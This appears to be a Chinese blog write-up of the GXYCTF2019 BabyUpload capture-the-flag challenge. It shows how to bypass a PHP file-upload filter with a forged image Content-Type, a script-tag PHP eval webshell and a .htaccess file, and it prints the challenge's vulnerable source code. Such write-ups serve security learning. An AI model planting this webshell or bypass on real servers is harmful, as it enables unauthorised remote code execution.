[GXYCTF2019]BabyUpload

[GXYCTF2019]BabyUpload

打开靶场地址,考文件上传思路还是挺重要的。

img

先上传一个php文件看看,这大概率是上传不了的,接着就抓包然后跟着思路走一波。

img

限制后缀中不能有 **ph ,**可能是黑名单,在用随机字符测试下。

img

提示上传类型的也限制了,没什么问题,修改下 Content-Type 字段值的 MIME 类型。

img

img

img

没想到这题不仅设置了黑名单限制(后缀不能包含ph) 还有白名单限制(上传类型是 image/jpeg) 。提示说标志是 php 说明对文件的内容进行了检查。这样的话还是可以绕过。

## 一句话木马
<script language='php'>eval($_POST[cmd]);</script>

img

成功的上传上去了,但是又有一个问题,上传上去的文件是 .123123 的是一个不存在的后缀,无法解析。但是访问 /upload 目录的时候发现了 403 错误。给出了靶场中间件的版本是 Apache 这就好办了。

img

Apache 中的用户配置文件 .htaccess 没有 ph 关键字而且也上可以上传,只需要在配置中设置 .123123 可以被php解析就行。

img

用 蚁剑连接木马(上面用的木马是接收 GET 请求的不能用,后面改成了 POST)。

img

找到flag了。

img

题目源码

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> 
<title>Upload</title>
<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">
上传文件<input type=\"file\" name=\"uploaded\" />
<input type=\"submit\" name=\"submit\" value=\"上传\" />
</form>";
error_reporting(0);
if(!isset($_SESSION['user'])){
    $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
    $target_path  = getcwd() . "/upload/" . md5($_SESSION['user']); 
	  // 文件上传的目录
    $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
    $uploaded_name = $_FILES['uploaded']['name'];
    $uploaded_ext  = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
	  // 文件的后缀
    $uploaded_size = $_FILES['uploaded']['size'];
	  // 文件大小
    $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
 
    if(preg_match("/ph/i", strtolower($uploaded_ext))){
        die("后缀名不能有ph!");
    }
    else{
        if ((($_FILES["uploaded"]["type"] == "
            ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
					// 限制文件大小、文件类型(jpeg和pjpeg)
            $content = file_get_contents($uploaded_tmp);
					// 获取文件的内容
            if(preg_match("/\<\?/i", $content)){
							// 匹配文件内容如果有 <? 就报错
                die("诶,别蒙我啊,这标志明显还是php啊");
            }
            else{
                mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
                move_uploaded_file($uploaded_tmp, $t_path);
                echo "{$t_path} succesfully uploaded!";
            }
        }
        else{
            die("上传类型也太露骨了吧!");
        }
    }
}
?>
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

iKnsec

您的鼓励,是我创作的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值